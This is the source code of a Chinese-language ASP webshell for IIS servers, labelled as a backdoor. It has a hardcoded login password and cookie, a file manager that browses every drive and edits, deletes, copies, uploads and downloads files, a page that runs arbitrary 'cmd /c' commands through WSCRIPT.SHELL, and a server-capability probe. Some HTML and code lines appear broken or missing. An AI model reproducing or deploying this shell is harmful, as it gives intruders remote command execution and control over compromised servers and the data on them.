asp webshell 专用-白红宇

<%@ LANGUAGE = VBScript.Encode codepage ="936" %>

<%Server.ScriptTimeOut=5000%>

rseb=Request.ServerVariables("SCRIPT_NAME")

dim Data_5xsoft

Class upload_5xsoft

dim objForm,objFile,Version

Public function Form(strForm)

strForm=lcase(strForm)

if not objForm.exists(strForm) then

Form=""

else

Form=objForm(strForm)

end if

end function

Public function File(strFile)

strFile=lcase(strFile)

if not objFile.exists(strFile) then

set File=new FileInfo

else

set File=objFile(strFile)

end if

end function

Private Sub Class_Initialize

dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile

dim iFileSize,sFilePath,sFileType,sFormValue,sFileName

dim iFindStart,iFindEnd

dim iFormStart,iFormEnd,sFormName

Version="HTTP上传程序 Version 2.0"

set objForm=Server.CreateObject("Scripting.Dictionary")

set objFile=Server.CreateObject("Scripting.Dictionary")

if Request.TotalBytes<1 then Exit Sub

set tStream = Server.CreateObject("adodb.stream")

set Data_5xsoft = Server.CreateObject("adodb.stream")

Data_5xsoft.Type = 1

Data_5xsoft.Mode =3

Data_5xsoft.Open

Data_5xsoft.Write Request.BinaryRead(Request.TotalBytes)

Data_5xsoft.Position=0

RequestData =Data_5xsoft.Read

iFormStart = 1

iFormEnd = LenB(RequestData)

vbCrlf = chrB(13) & chrB(10)

sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1)

iStart = LenB (sStart)

iFormStart=iFormStart+iStart+1

while (iFormStart + 10) < iFormEnd

iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf & vbCrlf)+3

tStream.Type = 1

tStream.Mode =3

tStream.Open

Data_5xsoft.Position = iFormStart

Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart

tStream.Position = 0

tStream.Type = 2

tStream.Charset ="gb2312"

sInfo = tStream.ReadText

tStream.Close

'取得表单项目名称

iFormStart = InStrB(iInfoEnd,RequestData,sStart)

iFindStart = InStr(22,sInfo,"name=""",1)+6

iFindEnd = InStr(iFindStart,sInfo,"""",1)

sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart))

'如果是文件

if InStr (45,sInfo,"filename=""",1) > 0 then

set theFile=new FileInfo

'取得文件名

iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10

iFindEnd = InStr(iFindStart,sInfo,"""",1)

sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)

theFile.FileName=getFileName(sFileName)

theFile.FilePath=getFilePath(sFileName)

'取得文件类型

iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14

iFindEnd = InStr(iFindStart,sInfo,vbCr)

theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)

theFile.FileStart =iInfoEnd

theFile.FileSize = iFormStart -iInfoEnd -3

theFile.FormName=sFormName

if not objFile.Exists(sFormName) then

objFile.add sFormName,theFile

end if

else

'如果是表单项目

tStream.Type =1

tStream.Mode =3

tStream.Open

Data_5xsoft.Position = iInfoEnd

Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3

tStream.Position = 0

tStream.Type = 2

tStream.Charset ="gb2312"

sFormValue = tStream.ReadText

tStream.Close

if objForm.Exists(sFormName) then

objForm(sFormName)=objForm(sFormName)&", "&sFormValue

else

objForm.Add sFormName,sFormValue

end if

iFormStart=iFormStart+iStart+1

wend

RequestData=""

set tStream =nothing

End Sub

Private Sub Class_Terminate

if Request.TotalBytes>0 then

objForm.RemoveAll

objFile.RemoveAll

set objForm=nothing

set objFile=nothing

Data_5xsoft.Close

set Data_5xsoft =nothing

end if

End Sub

Private function GetFilePath(FullPath)

If FullPath <> "" Then

GetFilePath = left(FullPath,InStrRev(FullPath, "\"))

Else

GetFilePath = ""

End If

End function

Private function GetFileName(FullPath)

If FullPath <> "" Then

GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)

Else

GetFileName = ""

End If

End function

End Class

Class FileInfo

dim FormName,FileName,FilePath,FileSize,FileType,FileStart

Private Sub Class_Initialize

FileName = ""

FilePath = ""

FileSize = 0

FileStart= 0

FormName = ""

FileType = ""

End Sub

Public function SaveAs(FullPath)

dim dr,ErrorChar,i

SaveAs=true

if trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" then exit function

set dr=CreateObject("Adodb.Stream")

dr.Mode=3

dr.Type=1

dr.Open

Data_5xsoft.position=FileStart

Data_5xsoft.copyto dr,FileSize

dr.SaveToFile FullPath,2

dr.Close

set dr=nothing

SaveAs=false

end function

End Class

q=request("q")

if q="" then q=rseb

select case q

case rseb

'设置您自己的密码

if request.form("password")="51cto" then

response.cookies("password")="777999"

response.redirect rseb & "?q=list.asp"

else %>

<html>

<head>

<title>雪域山人专用WebShell</title>

</head>

<body>

<%if request.form("password")<>"" then

response.write "你的密码输得不对！请重新输入"

end if

<table border="1" width="100%" height="89" bgcolor="#DFDFFF" cellpadding="3"

bordercolorlight="#000000" bordercolordark="#F2F2F9" cellspacing="0">

<tr>

<td width="100%" height="31" bgcolor="#000080"><p align="center"><font color="#FFFFFF">【</font><font color="#ffffff" size="3">雪域山人ADMIN专用</font><font color="#FFFFFF">】</font></td>

</tr>

<tr>

<div align="center"><center><p>Password：<input type="password" name="password"

size="20"

style="border-left: thin none; border-right: thin none; border-top: thin outset; border-bottom: thin outset">

<input type="submit" value="OK!LOGIN" name="B1"

style="font-size: 9pt; border: thin outset"></p>

</center></div>

<p>

　</p>

</center></div>

</form>

</td>

</tr>

</table>

</body>

</html>

<%end if%>

<%case "down.asp"

call downloadFile(request("path"))

function downloadFile(strFile)

strFilename = server.MapPath(strFile)

Response.Buffer = True

Response.Clear

Set s = Server.CreateObject("ADODB.Stream")

s.Open

s.Type = 1

on error resume next

Set fso = Server.CreateObject("Scripting.FileSystemObject")

if not fso.FileExists(strFilename) then

Response.Write("<h1>Error:</h1>" & strFilename & " does not exist<p>")

Response.End

end if

Set f = fso.GetFile(strFilename)

intFilelength = f.size

s.LoadFromFile(strFilename)

if err then

Response.Write("<h1>Error: </h1>" & err.Description & "<p>")

Response.End

end if

Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name

Response.AddHeader "Content-Length", intFilelength

Response.CharSet = "UTF-8"

Response.ContentType = "application/octet-stream"

Response.BinaryWrite s.Read

Response.Flush

s.Close

Set s = Nothing

response.end

End Function

<%case "list.asp"%>

urlpath=server.urlencode(path)

if Request.Cookies("password")="777999" then

dim cpath,lpath

set fsoBrowse=CreateObject("Scripting.FileSystemObject")

if Request("path")="" then

lpath="/"

else

lpath=Request("path")&"/"

end if

if Request("attrib")="true" then

cpath=lpath

attrib="true"

else

cpath=Server.MapPath(lpath)

attrib=""

end if

Sub GetFolder()

dim theFolder,theSubFolders

if fsoBrowse.FolderExists(cpath)then

Set theFolder=fsoBrowse.GetFolder(cpath)

Set theSubFolders=theFolder.SubFolders

Response.write"<a href='" & rseb & "?q=list.asp&path="&Request("oldpath")&"&attrib="&attrib&"'><font color='#FF8000'>■</font>↑<font color='ff2222'>回上级目录</font></a><br><script language=vbscript>"

For Each x In theSubFolders

%>so "<%=lpath%>","<%=x.Name%>","<%=request("path")%>","<%=attrib%>"

%></script><%

end if

End Sub

Sub GetFile()

dim theFiles

if fsoBrowse.FolderExists(cpath)then

Set theFolder=fsoBrowse.GetFolder(cpath)

Set theFiles=theFolder.Files

Response.write"<table border='0' width='100%' cellpadding='0'><script language=vbscript>"

For Each x In theFiles

if Request("attrib")="true" then

showstring=x.Name

else

showstring=x.Name

end if

%>sf "<%=showstring%>","<%=x.size%>","<%=x.type%>","<%=x.Attributes%>","<%=x.DateLastModified%>","<%=lpath%>","<%=x.name%>","<%=attrib%>","<%=x.name%>"

end if

Response.write"</script></table>"

End Sub

<html>

<head>

<title>雪域山人专用WebShell</title>

<!--

table{ font-family: 宋体; font-size: 9pt }

a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64); text-decoration: none }

a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none }

a:visited{ color: rgb(128,0,0) }

td { font-size: 9pt}

a { color: #000000; text-decoration: none}

a:hover { text-decoration: underline}

.tx { height: 16px; width: 30px; border-color: black black #000000; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 1px; border-left-width: 0px; font-size: 9pt; background-color: #eeeeee; color: #0000FF}

.bt { font-size: 9pt; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; height: 16px; width: 80px; background-color: #eeeeee; cursor: hand}

.tx1 { height: 18px; width: 60px; font-size: 9pt; border: 1px solid; border-color: black black #000000; color: #0000FF}

-->

</style>

</head>

function crfile(ls)

{if (ls==""){alert("请输入文件名!");}

else {window.open("<%=rseb%>?q=edit.asp&attrib=<%=request("attrib")%>&creat=yes&path=<%=lpath%>"+ls);}

return false;

}

function crdir(ls)

{if (ls==""){alert("请输入文件名!");}

else {window.open("<%=rseb%>?q=edir.asp&attrib=<%=request("attrib")%>&op=creat&path=<%=lpath%>"+ls);}

return false;

}

</script>

'显示文件

sub sf(showstring,size,type1,Attributes,DateLastModified,lpath,xname,attrib,name)

document.write "<tr style=""color: #000000; background-color: #FFefdf; text-decoration: blink; border: 1px solid #000080"" onMouseOver=""this.style.backgroundColor = '#FFCC00'"" onMouseOut=""this.style.backgroundColor = '#FFefdf'""><td width='50%'><font color='#FF8000'><font face=Wingdings>+</font></font><a href='"& urlpath & lpath & xName &"' target='_blank'><strong>" & showstring & "</strong></a></td><td width='20%' align='right'>" & size & "字节</td><td width='30%'><a href='#' title='类型：" & type1 & chr(10) & "属性：" & Attributes & chr(10) & "时间：" & DateLastModified &"'><font color='#FF8000' ></font>属性</a> <a href='<%=rseb%>?q=edit.asp&path=" & lpath & xName & "&attrib=" & attrib &"' target='_blank' ><font color='#FF8000' ></font>编辑</a> <a href="&chr(34)&"javascript: rmdir1('"& lpath & xName &"')"&chr(34)&"><font color='#FF8000' ></font>删除</a> <a href='#' & lpath & Name & "')><font color='#FF8000' ></font>复制</a> <a href='<%=rseb%>?q=down.asp&path=" & lpath & xName & "&attrib=" & attrib &"' target='_blank' ><font color='#FF8000' ></font>下载</a></td></tr>"

end sub

'显示目录

sub so(lpath,xName,path,attrib)

document.write "<a href='<%=rseb%>?q=list.asp&path="& lpath & xName & "&oldpath=" & path & "&attrib=" & attrib &"'>└<font color='#FF8000'><font face=Wingdings>1</font></font> " & xName &"</a> <a href="&chr(34)&"javascript: rmdir('"& lpath & xName &"')"&chr(34)&"><font color='#FF8000' ></font>删除</a><br>"

end sub

sub rmdir1(ls)

if confirm("你真的要删除这个文件吗!"&Chr(13)&Chr(10)&"文件为："&ls) then

window.open("<%=rseb%>?q=edit.asp&path=" & ls & "&op=del&attrib=<%=request("attrib")%>")

end if

end sub

sub rmdir(ls)

if confirm("你真的要删除这个目录吗!"&Chr(13)&Chr(10)&"目录为："&ls) then

window.open("<%=rseb%>?q=edir.asp&path="&ls&"&op=del&attrib=<%=request("attrib")%>")

end if

end sub

sub copyfile(sfile)

dfile=InputBox("※文件复制※"&Chr(13)&Chr(10)&"源文件："&sfile&Chr(13)&Chr(10)&"输入目标文件的文件名:"&Chr(13)&Chr(10)&"[允许带路径,要根据你的当前路径模式]")

dfile=trim(dfile)

attrib="<%=request("attrib")%>"

if dfile<>"" then

if InStr(dfile,":") or InStr(dfile,"/")=1 then

lp=""

if InStr(dfile,":") and attrib<>"true" then

alert "对不起，你在相对路径模式下不能使用绝对路径"&Chr(13)&Chr(10)&"错误路径：["&dfile&"]"

exit sub

end if

else

lp="<%=lpath%>"

end if

window.open("<%=rseb%>?q=edit.asp&path="+sfile+"&op=copy&attrib="+attrib+"&dpath="+lp+dfile)

else

alert"您没有输入文件名！"

end If

end sub

</script>

<body>

<table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000"

bordercolordark="#FFFFFF" cellspacing="0">

<tr>

<td width="755" bgcolor="#000080" colspan="2" height="23"><p align="center"><font size="3"

color="#FFFFFF">【</font><font color="#ffffff" size="3">雪域山人专用WebShell</font><font size="3"

color="#FFFFFF">】</font></td>

</tr>

<tr>

<td width="751" bgcolor="#C0C0C0" colspan="2">※切换到相应盘符：<span

style="background-color: rgb(255,255,255);color:rgb(255,0,0)"><%

For Each thing in fsoBrowse.Drives

Response.write "<font face=Wingdings>:</font><a href='" & rseb & "?q=list.asp&path="&thing.DriveLetter&":&attrib=true'>"&thing.DriveLetter&":</a>"

%> </span></td>

</tr>

<tr>

<td width="751" bgcolor="#C0C0C0" colspan="2">※<%

if Request("attrib")="true" then

response.write "<a href='" & rseb & "?q=list.asp'>切换到相对路径编辑模式</a>"

else

response.write "<a href='" & rseb & "?attrib=true&q=list.asp'>切换到绝对路径编辑模式</a>"

end if

%>  ※绝对路径:<span

style="background-color: rgb(255,255,255)"><%=cpath%></span></td>

</tr>

<tr>

</tr><form name="form1" method="post" action="<%=rseb%>?q=upfile.asp" target="_blank" enctype="multipart/form-data">

〖文件〗文本编辑|

<%if lpath<>cpath then%>|文件上传|:

<%end if%>

<input class="tx1" type="button" οnclick="window.open('<%=rseb%>?q=cmd.asp','_blank')" value="命令执行">

<input class="tx1" type="button" οnclick="window.open('<%=rseb%>?q=test.asp','_blank')" value="查看配置">

<input class="tx1" type="button" οnclick="window.open('<%=rseb%>?q=p.asp','_blank')" value="目录操作">

</td>

</tr></form>

<tr>

</tr>

</table>

<%else

response.write "对不起!你的密码已经失效或者你输错了密码，请返回重输"

response.write "<a href='" & rseb & "?q=" & rseb & "'>【返回】</a>"

end if

</body>

</html>

<%case "edit.asp"%>

<html>

<head>

<title>编辑源代码</title>

<style>

<!--

table{ font-family: 宋体; font-size: 12pt }

a{ font-family: 宋体; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }

a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: underline }

a:visited{ color: rgb(128,0,0) }

-->

</style>

</head>

<body>

<% '读文件

if Request.Cookies("password")="777999" then

if request("op")="del" then

if Request("attrib")="true" then

whichfile=Request("path")

else

whichfile=server.mappath(Request("path"))

end if

Set fs = CreateObject("Scripting.FileSystemObject")

Set thisfile = fs.GetFile(whichfile)

thisfile.Delete True

Response.write "<script>alert('删除成功！要刷新才能看到效果');window.close();</script>"

else

if request("op")="copy" then

if Request("attrib")="true" then

whichfile=Request("path")

dsfile=Request("dpath")

else

whichfile=server.mappath(Request("path"))

dsfile=Server.MapPath(Request("dpath"))

end if

Set fs = CreateObject("Scripting.FileSystemObject")

Set thisfile = fs.GetFile(whichfile)

thisfile.copy dsfile

msgbox "源文件：<%=whichfile%>" & vbcrlf & "目的文件:<%=dsfile%>" & vbcrlf & "复制成功！要刷新才能看到效果!"

window.close()

</script>

else

if request.form("text")="" then

if Request("creat")<>"yes" then

if Request("attrib")="true" then

whichfile=Request("path")

else

whichfile=server.mappath(Request("path"))

end if

Set fs = CreateObject("Scripting.FileSystemObject")

Set thisfile = fs.OpenTextFile(whichfile, 1, False)

counter=0

thisline=thisfile.readall

thisfile.Close

set fs=nothing

end if

<input type="hidden" name="attrib" value="<%=Request("attrib")%>"><table border="0"

width="700" cellpadding="0">

<tr>

</tr>

<td width="100%" bgcolor="#FFDBCA">文件名：<input type="text" name="path" size="45"

value="<%=Request("path")%> ">直接更改文件名，相当于“另存为”</td>

</tr>

</tr>

<td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><input type="submit"

value="提交" name="B1"><input type="reset" value="复原" name="B2"></td>

</tr>

</table>

</form>

<%else

if Request("attrib")="true" then

whichfile=Request("path")

else

whichfile=server.mappath(Request("path"))

end if

Set fs = CreateObject("Scripting.FileSystemObject")

Set outfile=fs.CreateTextFile(whichfile)

outfile.WriteLine Request("text")

outfile.close

set fs=nothing

Response.write "<script>alert('修改成功！要刷新才能看到效果');window.close();</script>"

end if

else

response.write "对不起!你的密码已经失效或者你输错了密码，请返回重输"

response.write "<a href='" & rseb & "?q=" & rseb & "'>【返回】</a>"

end if

</body>

</html>

<%case "edir.asp"%>

<html>

<head>

<style>

<!--

table{ font-family: 宋体; font-size: 12pt }

a{ font-family: 宋体; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }

a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: underline }

a:visited{ color: rgb(128,0,0) }

-->

</style>

</head>

<body>

<% '读文件

if Request.Cookies("password")="777999" then

if request("op")="del" then

if Request("attrib")="true" then

whichdir=Request("path")

else

whichdir=server.mappath(Request("path"))

end if

Set fs = CreateObject("Scripting.FileSystemObject")

fs.DeleteFolder whichdir,True

Response.write "<script>alert('删除的目录为:" & whichdir & "删除成功！要刷新才能看到效果');window.close();</script>"

else

if request("op")="creat" then

if Request("attrib")="true" then

whichdir=Request("path")

else

whichdir=server.mappath(Request("path"))

end if

Set fs = CreateObject("Scripting.FileSystemObject")

fs.CreateFolder whichdir

Response.write "<script>alert('建立的目录为:" & whichdir & "建立成功！要刷新才能看到效果');window.close();</script>"

end if

else

response.write "对不起!你的密码已经失效或者你输错了密码，请返回重输"

response.write "<a href='" & rseb & "?q=" & rseb & "'>【返回】</a>"

end if

</body>

</html>

case "upfile.asp"

if Request.Cookies("password")="777999" then

set upload=new upload_5xSoft

if upload.form("filepath")="" then

HtmEnd "请输入要上传至的目录!"

set upload=nothing

response.end

else

formPath=upload.form("filepath")

if right(formPath,1)<>"/" then formPath=formPath&"/"

end if

iCount=0

for each formName in upload.objFile

set file=upload.file(formName)

if file.FileSize>0 then

file.SaveAs Server.mappath(formPath & file.FileName)

response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>"

iCount=iCount+1

end if

set file=nothing

set upload=nothing

Htmend iCount&" 个文件上传结束!"

sub HtmEnd(Msg)

set upload=nothing

Response.write "上传完毕！要刷新才能看到效果！<P><input value=关闭 type=button οnclick=window.close();>"

response.end

end sub

else

response.write "对不起!你的密码已经失效或者你输错了密码，请返回重输"

response.write "<a href='" & rseb & "?q=" & rseb & "'>【返回】</a>"

end if

case "cmd.asp"

if Request.Cookies("password")<>"777999" then

response.write "对不起!你的密码已经失效或者你输错了密码，请返回重输"

response.write "<a href='" & rseb & "?q=" & rseb & "'>【返回】</a>"

else%>

<title>ASP Shell</title>

On Error Resume Next

Set oScript = Server.CreateObject("WSCRIPT.SHELL")

Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")

Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

szCMD = Request.Form(".CMD")

If (szCMD <> "") Then

szTempFile = "C:\" & oFileSys.GetTempName( )

Call oScript.Run ("cmd /c " & szCMD & " > " & szTempFile, 0, True)

Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

End If

<HTML>

<BODY>

<FORM action="<%=rseb%>?q=cmd.asp" method="POST">

</FORM>

<PRE><%

If (IsObject(oFile)) Then

On Error Resume Next

Response.Write Server.HTMLEncode(oFile.ReadAll)

oFile.Close

Call oFileSys.DeleteFile(szTempFile, True)

End If

</BODY>

</HTML>

<%end if

case "test.asp"

Response.Buffer = False

Dim ObjTotest(26,4)

ObjTotest(0,0) = "MSWC.AdRotator"

ObjTotest(1,0) = "MSWC.BrowserType"

ObjTotest(2,0) = "MSWC.NextLink"

ObjTotest(3,0) = "MSWC.Tools"

ObjTotest(4,0) = "MSWC.Status"

ObjTotest(5,0) = "MSWC.Counters"

ObjTotest(6,0) = "IISSample.ContentRotator"

ObjTotest(7,0) = "IISSample.PageCounter"

ObjTotest(8,0) = "MSWC.PermissionChecker"

ObjTotest(9,0) = "Scripting.FileSystemObject"

ObjTotest(9,1) = "(FSO 文本文件读写)"

ObjTotest(10,0) = "adodb.connection"

ObjTotest(10,1) = "(ADO 数据对象)"

ObjTotest(11,0) = "SoftArtisans.FileUp"

ObjTotest(11,1) = "(SA-FileUp 文件上传)"

ObjTotest(12,0) = "SoftArtisans.FileManager"

ObjTotest(12,1) = "(SoftArtisans 文件管理)"

ObjTotest(13,0) = "LyfUpload.UploadFile"

ObjTotest(13,1) = "(刘云峰的文件上传组件)"

ObjTotest(14,0) = "Persits.Upload.1"

ObjTotest(14,1) = "(ASPUpload 文件上传)"

ObjTotest(15,0) = "w3.upload"

ObjTotest(15,1) = "(Dimac 文件上传)"

ObjTotest(16,0) = "JMail.SmtpMail"

ObjTotest(16,1) = "(Dimac JMail 邮件收发)"

ObjTotest(17,0) = "CDONTS.NewMail"

ObjTotest(17,1) = "(虚拟 SMTP 发信)"

ObjTotest(18,0) = "Persits.MailSender"

ObjTotest(18,1) = "(ASPemail 发信)"

ObjTotest(19,0) = "SMTPsvg.Mailer"

ObjTotest(19,1) = "(ASPmail 发信)"

ObjTotest(20,0) = "DkQmail.Qmail"

ObjTotest(20,1) = "(dkQmail 发信)"

ObjTotest(21,0) = "Geocel.Mailer"

ObjTotest(21,1) = "(Geocel 发信)"

ObjTotest(22,0) = "IISmail.Iismail.1"

ObjTotest(22,1) = "(IISmail 发信)"

ObjTotest(23,0) = "SmtpMail.SmtpMail.1"

ObjTotest(23,1) = "(SmtpMail 发信)"

ObjTotest(24,0) = "SoftArtisans.ImageGen"

ObjTotest(24,1) = "(SA 的图像读写组件)"

ObjTotest(25,0) = "W3Image.Image"

ObjTotest(25,1) = "(Dimac 的图像读写组件)"

public IsObj,VerObj,TestObj

dim i

for i=0 to 25

on error resume next

IsObj=false

VerObj=""

'dim TestObj

TestObj=""

set TestObj=server.CreateObject(ObjTotest(i,0))

If -2147221005 <> Err then

IsObj = True

VerObj = TestObj.version

if VerObj="" or isnull(VerObj) then VerObj=TestObj.about

end if

ObjTotest(i,2)=IsObj

ObjTotest(i,3)=VerObj

sub ObjTest(strObj)

on error resume next

IsObj=false

VerObj=""

TestObj=""

set TestObj=server.CreateObject (strObj)

If -2147221005 <> Err then

IsObj = True

VerObj = TestObj.version

if VerObj="" or isnull(VerObj) then VerObj=TestObj.about

end if

End sub

<HTML>

<HEAD>

<TITLE>ASP探针V1.60－阿江>

<style>

<!--

BODY

{

FONT-FAMILY: 宋体;

FONT-SIZE: 9pt

}

{

FONT-SIZE: 9pt

}

{

COLOR: #000000;

TEXT-DECORATION: none

}

A:hover

{

COLOR: #3F8805;

TEXT-DECORATION: underline

}

.input

{

BORDER: #111111 1px solid;

FONT-SIZE: 9pt;

BACKGROUND-color: #F8FFF0

}

.backs

{

BACKGROUND-COLOR: #3F8805;

COLOR: #ffffff;

}

.backq

{

BACKGROUND-COLOR: #EEFEE0

}

.backc

{

BACKGROUND-COLOR: #3F8805;

BORDER: medium none;

COLOR: #ffffff;

HEIGHT: 18px;

font-size: 9pt

}

.fonts

{

COLOR: #3F8805

}

-->

</STYLE>

</HEAD>

<BODY>

ASP探针-<font class=fonts>V1.60</font><br><br>

<font class=fonts>是否支持ASP</font>

<br>出现以下情况即表示您的空间不支持ASP：

<br>1、访问本文件时提示下载。

<br>2、访问本文件时看到类似“<%@ Language="VBScript" %>”的文字。

<font class=fonts>服务器的有关参数</font>

</tr>

<td align=left> 服务器IP</td><td> <%=Request.ServerVariables("LOCAL_ADDR")%></td>

</tr>

<td align=left> 服务器端口</td><td> <%=Request.ServerVariables("SERVER_PORT")%></td>

</tr>

<td align=left> 服务器时间</td><td> <%=now%></td>

</tr>

<td align=left> IIS版本</td><td> <%=Request.ServerVariables("SERVER_SOFTWARE")%></td>

</tr>

<td align=left> 脚本超时时间</td><td> <%=Server.ScriptTimeout%> 秒</td>

</tr>

<td align=left> 本文件路径</td><td> <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%></td>

</tr>

<td align=left> 服务器CPU数量</td><td> <%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%> 个</td>

</tr>

<td align=left> 服务器解译引擎</td><td> <%=ScriptEngine & "/"& ScriptEngineMajorVersion &"."&ScriptEngineMinorVersion&"."& ScriptEngineBuildVersion %></td>

</tr>

<td align=left> 服务器操作系统</td><td> <%=Request.ServerVariables("OS")%></td>

</tr>

</table>

</td></tr>

</table>

<br>

<font class=fonts>组件支持情况</font>

Dim strClass

strClass = Trim(Request.Form("classname"))

If "" <> strClass then

Response.Write "<br>您指定的组件的检查结果："

Dim Verobj1

ObjTest(strClass)

If Not IsObj then

Response.Write "<br><font color=red>很遗憾，该服务器不支持 " & strclass & " 组件！</font>"

Else

if VerObj="" or isnull(VerObj) then

Verobj1="无法取得该组件版本"

Else

Verobj1="该组件版本是：" & VerObj

End If

Response.Write "<br><font class=fonts>恭喜！该服务器支持 " & strclass & " 组件。" & verobj1 & "</font>"

End If

Response.Write "<br>"

end if

<br>■ IIS自带的ASP组件

<tr height=18 class=backs align=center><td width=320>组件名称</td><td width=130>支持及版本</td></tr>

<%For i=0 to 10%> <tr height="18" class=backq>

<td align=left> <%=ObjTotest(i,0) & "<font color=#888888> " & ObjTotest(i,1)%></font></td>

<td align=left> <%

If Not ObjTotest(i,2) Then

Response.Write "<font color=red><b>×</b></font>"

Else

Response.Write "<font class=fonts><b>√</b></font> <a title='" & ObjTotest(i,3) & "'>" & left(ObjTotest(i,3),11) & "</a>"

End If%></td>

</tr>

<%next%> </table>

<br>■ 常见的文件上传和管理组件

<tr height=18 class=backs align=center><td width=320>组件名称</td><td width=130>支持及版本</td></tr>

<%For i=11 to 15%> <tr height="18" class=backq>

<td align=left> <%=ObjTotest(i,0) & "<font color=#888888> " & ObjTotest(i,1)%></font></td>

<td align=left> <%

If Not ObjTotest(i,2) Then

Response.Write "<font color=red><b>×</b></font>"

Else

Response.Write "<font class=fonts><b>√</b></font> <a title='" & ObjTotest(i,3) & "'>" & left(ObjTotest(i,3),11) & "</a>"

End If%></td>

</tr>

<%next%> </table>

<br>■ 常见的收发邮件组件

<tr height=18 class=backs align=center><td width=320>组件名称</td><td width=130>支持及版本</td></tr>

<%For i=16 to 23%> <tr height="18" class=backq>

<td align=left> <%=ObjTotest(i,0) & "<font color=#888888> " & ObjTotest(i,1)%></font></td>

<td align=left> <%

If Not ObjTotest(i,2) Then

Response.Write "<font color=red><b>×</b></font>"

Else

Response.Write "<font class=fonts><b>√</b></font> <a title='" & ObjTotest(i,3) & "'>" & left(ObjTotest(i,3),11) & "</a>"

End If%></td>

</tr>

<%next%> </table>

<br>■ 图像处理组件

<tr height=18 class=backs align=center><td width=320>组件名称</td><td width=130>支持及版本</td></tr>

<%For i=24 to 25%> <tr height="18" class=backq>

<td align=left> <%=ObjTotest(i,0) & "<font color=#888888> " & ObjTotest(i,1)%></font></td>

<td align=left> <%

If Not ObjTotest(i,2) Then

Response.Write "<font color=red><b>×</b></font>"

Else

Response.Write "<font class=fonts><b>√</b></font> <a title='" & ObjTotest(i,3) & "'>" & left(ObjTotest(i,3),11) & "</a>"

End If%></td>

</tr>

<%next%> </table>

<br>

<font class=fonts>其他组件支持情况检测</font><br>

在下面的输入框中输入你要检测的组件的ProgId或ClassId。

<FORM action=<%=rseb%>?q=test.asp method=post id=form1 name=form1>

</tr>

</FORM>

</table>

<br>

<font class=fonts>ASP脚本解释和运算速度测试</font><br>

'感谢网际同学录推荐使用timer函数

'因为只进行50万次计算，所以去掉了是否检测的选项而直接检测

Response.Write "整数运算测试，正在进行50万次加法运算..."

dim t1,t2,lsabc,thetime,thetime2

t1=timer

for i=1 to 500000

lsabc= 1 + 1

t2=timer

thetime=cstr(int(( (t2-t1)*10000 )+0.5)/10)

Response.Write "...已完成！<font color=red>" & thetime & "毫秒</font>。<br>"

Response.Write "浮点运算测试，正在进行20万次开方运算..."

t1=timer

for i=1 to 200000

lsabc= 2^0.5

t2=timer

thetime2=cstr(int(( (t2-t1)*10000 )+0.5)/10)

Response.Write "...已完成！<font color=red>" & thetime2 & "毫秒</font>。<br>"

<td width=320 rowspan=2>供对照的服务器</td>

</tr>

</tr>

</tr>

</tr>

<td align=left> <a href="">西部数码west263主机（2003-06-12,测10次,最大值）</a></td><td> 187</td><td> 177</td>

</tr>

<td align=left> <a href=" ">联网科技linkwww主机（2003-06-13,测10次,最大值）</a></td><td> 187</td><td> 171</td>

</tr>

<td align=left> <font color=red>您正在使用的这台服务器</font> </td><td> <font color=red><%=thetime%></font></td><td> <font color=red><%=thetime2%></font></td>

</tr>

</table>

</BODY>

</HTML>

<%case "p.asp"%>

<%if Request.Cookies("password")="777999" then %>

<%response.write "<font class=fonts>注意:每次只能执行一个操作</font>" %> 当前时间:<%response.write now()%><BR>程序所在的物理路径：

<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>

<html>

<title>asp.backdoor </title>

<style>

<!--

table{ font-family: 宋体; font-size: 9pt }

BODY

{

FONT-FAMILY: 宋体;

FONT-SIZE: 9pt

}

{

FONT-SIZE: 9pt

}

.input

{

BORDER: #111111 1px solid;

FONT-SIZE: 9pt;

BACKGROUND-color: #F8FFF0

}

.backs

{

BACKGROUND-COLOR: #3F8805;

COLOR: #ffffff;

}

.backq

{

BACKGROUND-COLOR: #EEFEE0

}

.backc

{

BACKGROUND-COLOR: #3F8805;

BORDER: medium none;

COLOR: #ffffff;

HEIGHT: 18px;

font-size: 9pt

}

.fonts

{

COLOR: #3F8805

}

-->

</STYLE>

<form action="<%=rseb%>?q=p.asp" method="POST">

浏览目录:<input type=text name=text value="<%=szCMD %>" size="20"> <font class=fonts>输入要浏览的目录,最后要加\</font><br>

拷贝目录:<input type=text name=text1 value="<%=szCMD1 %>" size="20">

copy

移动目录:<input type=text name=text3 value="<%=szCMD3 %>" size="20">

move

程序路径:<input type=text name=text5 value="<%=szCMD5 %>" size="20">

名称:<input type=text name=text6 value="<%=szCMD6 %>" size="20"><br><br>

</form>

</body>

</html>

szCMD = Request.Form("text") '目录浏览

if (szCMD <> "") then

set shell=server.createobject("shell.application") '建立shell对象

set fod1=shell.namespace(szcmd)

set foditems=fod1.items

